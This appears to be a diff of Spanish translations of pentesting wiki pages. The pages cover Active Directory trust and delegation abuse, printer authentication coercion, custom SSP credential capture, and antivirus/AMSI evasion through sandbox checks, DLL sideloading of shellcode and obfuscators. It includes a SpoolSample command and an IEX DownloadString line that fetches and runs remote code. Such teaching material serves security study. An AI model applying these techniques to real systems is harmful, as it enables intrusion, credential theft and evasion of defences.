|
||||
Los atacantes podrían acceder a recursos en otro dominio a través de tres mecanismos principales:
|
||||
|
||||
- **Membresía en Grupos Locales**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina.
|
||||
- **Membresía en Grupos de Dominio Extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
|
||||
- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
|
||||
- **Membresía de grupo local**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina.
|
||||
- **Membresía de grupo de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
|
||||
- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de las ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
|
||||
|
||||
### Escalación de privilegios de hijo a padre en el bosque
|
||||
### Escalación de privilegios de bosque de hijo a padre
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### Explotar NC de Configuración escribible
|
||||
|
||||
Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
|
||||
Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
|
||||
|
||||
**Vincular GPO al sitio raíz de DC**
|
||||
|
||||
@ -598,15 +598,15 @@ Un análisis detallado se puede encontrar en la discusión sobre [Golden gMSA Tr
|
||||
|
||||
**Ataque de cambio de esquema**
|
||||
|
||||
Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre objetos AD recién creados.
|
||||
Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre los nuevos objetos AD creados.
|
||||
|
||||
Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Más lectura está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**De DA a EA con ADCS ESC5**
|
||||
|
||||
La vulnerabilidad ADCS ESC5 apunta al control sobre objetos de Infraestructura de Clave Pública (PKI) para crear una plantilla de certificado que permite la autenticación como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el NC de Configuración, comprometer un DC hijo escribible permite la ejecución de ataques ESC5.
|
||||
|
||||
Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios que carecen de ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios sin ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Dominio de Bosque Externo - Unidireccional (Entrante) o bidireccional
|
||||
```powershell
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
En este escenario, **tu dominio es confiable** por uno externo, dándote **permisos indeterminados** sobre él. Necesitarás encontrar **qué principios de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo:
|
||||
En este escenario, **tu dominio es confiable** por uno externo, lo que te otorga **permisos indeterminados** sobre él. Necesitarás encontrar **qué principios de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -664,7 +664,7 @@ rdp-sessions-abuse.md
|
||||
### **Autenticación Selectiva:**
|
||||
|
||||
- Para las confianzas inter-forestales, emplear la Autenticación Selectiva asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía.
|
||||
- Es importante señalar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza.
|
||||
- Es importante notar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza.
|
||||
|
||||
[**Más información sobre las confianzas de dominio en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
### Custom SSP
|
||||
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina.
|
||||
|
||||
#### Mimilib
|
||||
@ -35,6 +35,6 @@ Esto no sobrevivirá a los reinicios.
|
||||
|
||||
#### Mitigación
|
||||
|
||||
ID de evento 4657 - Auditoría de creación/cambio de `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
|
||||
Event ID 4657 - Auditoría de creación/cambio de `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
## Abuso del Servicio de Spooler
|
||||
|
||||
Si el servicio _**Print Spooler**_ está **habilitado**, puedes usar algunas credenciales de AD ya conocidas para **solicitar** al servidor de impresión del Controlador de Dominio una **actualización** sobre nuevos trabajos de impresión y simplemente indicarle que **envíe la notificación a algún sistema**.\
|
||||
Ten en cuenta que cuando la impresora envía la notificación a sistemas arbitrarios, necesita **autenticarse contra** ese **sistema**. Por lo tanto, un atacante puede hacer que el servicio _**Print Spooler**_ se autentique contra un sistema arbitrario, y el servicio **utilizará la cuenta de computadora** en esta autenticación.
|
||||
Ten en cuenta que cuando la impresora envía la notificación a sistemas arbitrarios, necesita **autenticarse contra** ese **sistema**. Por lo tanto, un atacante puede hacer que el servicio _**Print Spooler**_ se autentique contra un sistema arbitrario, y el servicio **usará la cuenta de computadora** en esta autenticación.
|
||||
|
||||
### Encontrar Servidores Windows en el dominio
|
||||
|
||||
@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer
|
||||
|
||||
## PrivExchange
|
||||
|
||||
El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP.
|
||||
El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que cualquier usuario de dominio con un buzón fuerce al servidor de Exchange a autenticarse con cualquier host proporcionado por el cliente a través de HTTP.
|
||||
|
||||
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticar a otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
|
||||
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
|
||||
|
||||
## Dentro de Windows
|
||||
|
||||
@ -104,7 +104,7 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
|
||||
```
|
||||
## Cracking NTLMv1
|
||||
|
||||
Si puedes capturar [los desafíos de NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
|
||||
Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/index.html#ntlmv1-attack).\
|
||||
&#xNAN;_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Delegación no restringida
|
||||
|
||||
Esta es una característica que un Administrador de Dominio puede establecer en cualquier **Computadora** dentro del dominio. Luego, cada vez que un **usuario inicia sesión** en la Computadora, una **copia del TGT** de ese usuario se va a **enviar dentro del TGS** proporcionado por el DC **y se guardará en memoria en LSASS**. Así que, si tienes privilegios de Administrador en la máquina, podrás **extraer los tickets e impersonar a los usuarios** en cualquier máquina.
|
||||
Esta es una característica que un Administrador de Dominio puede establecer en cualquier **Computadora** dentro del dominio. Luego, cada vez que un **usuario inicia sesión** en la Computadora, una **copia del TGT** de ese usuario será **enviada dentro del TGS** proporcionado por el DC **y guardada en memoria en LSASS**. Así que, si tienes privilegios de Administrador en la máquina, podrás **extraer los tickets e impersonar a los usuarios** en cualquier máquina.
|
||||
|
||||
Entonces, si un administrador de dominio inicia sesión en una Computadora con la característica de "Delegación No Restringida" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (privesc de dominio).
|
||||
Así que si un administrador de dominio inicia sesión en una Computadora con la característica de "Delegación No Restringida" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (privesc de dominio).
|
||||
|
||||
Puedes **encontrar objetos de Computadora con este atributo** verificando si el atributo [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) contiene [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Puedes hacer esto con un filtro LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, que es lo que hace powerview:
|
||||
|
||||
@ -29,14 +29,14 @@ Más info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://ww
|
||||
|
||||
### **Forzar Autenticación**
|
||||
|
||||
Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para que **inicie sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\
|
||||
Luego, el atacante podría realizar un **ataque Pass the Ticket para impersonar** la cuenta de computadora del usuario del servidor de impresión.
|
||||
Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para **iniciar sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\
|
||||
Luego, el atacante podría realizar un **ataque Pass the Ticket para impersonar** la cuenta de computadora del servidor de impresión del usuario.
|
||||
|
||||
Para hacer que un servidor de impresión inicie sesión contra cualquier máquina, puedes usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
Si el TGT proviene de un controlador de dominio, podrías realizar un [**ataque DCSync**](acl-persistence-abuse/#dcsync) y obtener todos los hashes del DC.\
|
||||
Si el TGT proviene de un controlador de dominio, podrías realizar un [**ataque DCSync**](acl-persistence-abuse/index.html#dcsync) y obtener todos los hashes del DC.\
|
||||
[**Más información sobre este ataque en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**Aquí hay otras formas de intentar forzar una autenticación:**
|
||||
|
||||
@ -18,7 +18,7 @@ Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero nec
|
||||
|
||||
- **Ofuscación**
|
||||
|
||||
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
|
||||
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés tratando de ofuscar.
|
||||
|
||||
- **Herramientas personalizadas**
|
||||
|
||||
@ -34,7 +34,7 @@ Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTub
|
||||
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
|
||||
|
||||
- **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de sueño puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente.
|
||||
- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos con los que trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades de los ventiladores, no todo estará implementado en el sandbox.
|
||||
- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades de los ventiladores, no todo estará implementado en el sandbox.
|
||||
- **Verificaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
|
||||
|
||||
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
|
||||
@ -47,9 +47,9 @@ Algunos otros consejos realmente buenos de [@mgeeky](https://twitter.com/mariusz
|
||||
|
||||
Como hemos dicho antes en este post, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías preguntarte algo:
|
||||
|
||||
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS?
|
||||
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS.
|
||||
|
||||
La respuesta correcta es probablemente la segunda. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
|
||||
La respuesta correcta probablemente sea la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
|
||||
|
||||
> [!NOTE]
|
||||
> Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
|
||||
@ -66,7 +66,7 @@ Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho
|
||||
|
||||
## Carga lateral de DLL y Proxying
|
||||
|
||||
**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga(s) maliciosa(s) una al lado de la otra.
|
||||
**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga(s) útil(es) maliciosa(s) una al lado de la otra.
|
||||
|
||||
Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
|
||||
```powershell
|
||||
@ -75,13 +75,13 @@ $binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
Este comando mostrará la lista de programas susceptibles a la suplantación de DLL dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
|
||||
Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
|
||||
|
||||
Te recomiendo encarecidamente que **explores programas susceptibles a la suplantación de DLL/que se pueden cargar lateralmente tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas públicamente conocidos que se pueden cargar lateralmente, podrías ser atrapado fácilmente.
|
||||
Recomiendo encarecidamente que **explores programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas Sideloadable de DLL conocidos públicamente, podrías ser atrapado fácilmente.
|
||||
|
||||
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxying/Forwarding de DLL**.
|
||||
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
|
||||
|
||||
**Proxying de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu payload.
|
||||
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu payload.
|
||||
|
||||
Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
@ -98,16 +98,14 @@ El último comando nos dará 2 archivos: una plantilla de código fuente DLL y l
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Estos son los resultados:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
|
||||
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo llamaría eso un éxito.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Recomiendo encarecidamente** que veas el [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad.
|
||||
> **Recomiendo encarecidamente** que veas el [VOD de twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -123,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
|
||||
> La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes en una sola herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
|
||||
|
||||
## AMSI (Interfaz de Escaneo Anti-Malware)
|
||||
|
||||
AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, por lo que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
|
||||
AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, así que si de alguna manera podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
|
||||
|
||||
La función AMSI está integrada en estos componentes de Windows.
|
||||
|
||||
@ -143,7 +141,7 @@ Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota cómo antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
|
||||
Nota cómo se antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
|
||||
|
||||
No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI.
|
||||
|
||||
@ -157,7 +155,7 @@ Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múl
|
||||
|
||||
- **Evasión de AMSI**
|
||||
|
||||
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario no privilegiado. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
|
||||
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
|
||||
|
||||
**Forzar un Error**
|
||||
|
||||
@ -190,7 +188,7 @@ Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com
|
||||
> [!NOTE]
|
||||
> Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
|
||||
|
||||
También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
|
||||
También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
|
||||
|
||||
O este script que a través de patching de memoria parcheará cada nuevo Powersh
|
||||
|
||||
@ -204,11 +202,11 @@ Hay varias herramientas que se pueden usar para **ofuscar código en texto claro
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos.
|
||||
|
||||
## SmartScreen y MoTW
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
|
||||
|
||||
@ -216,7 +214,7 @@ Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas poco comúnmente activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
|
||||
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones que se descargan poco comúnmente activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
|
||||
|
||||
**MoTW** (Marca de la Web) es un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL de la que se descargó.
|
||||
|
||||
@ -267,7 +265,7 @@ La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Ha
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**.
|
||||
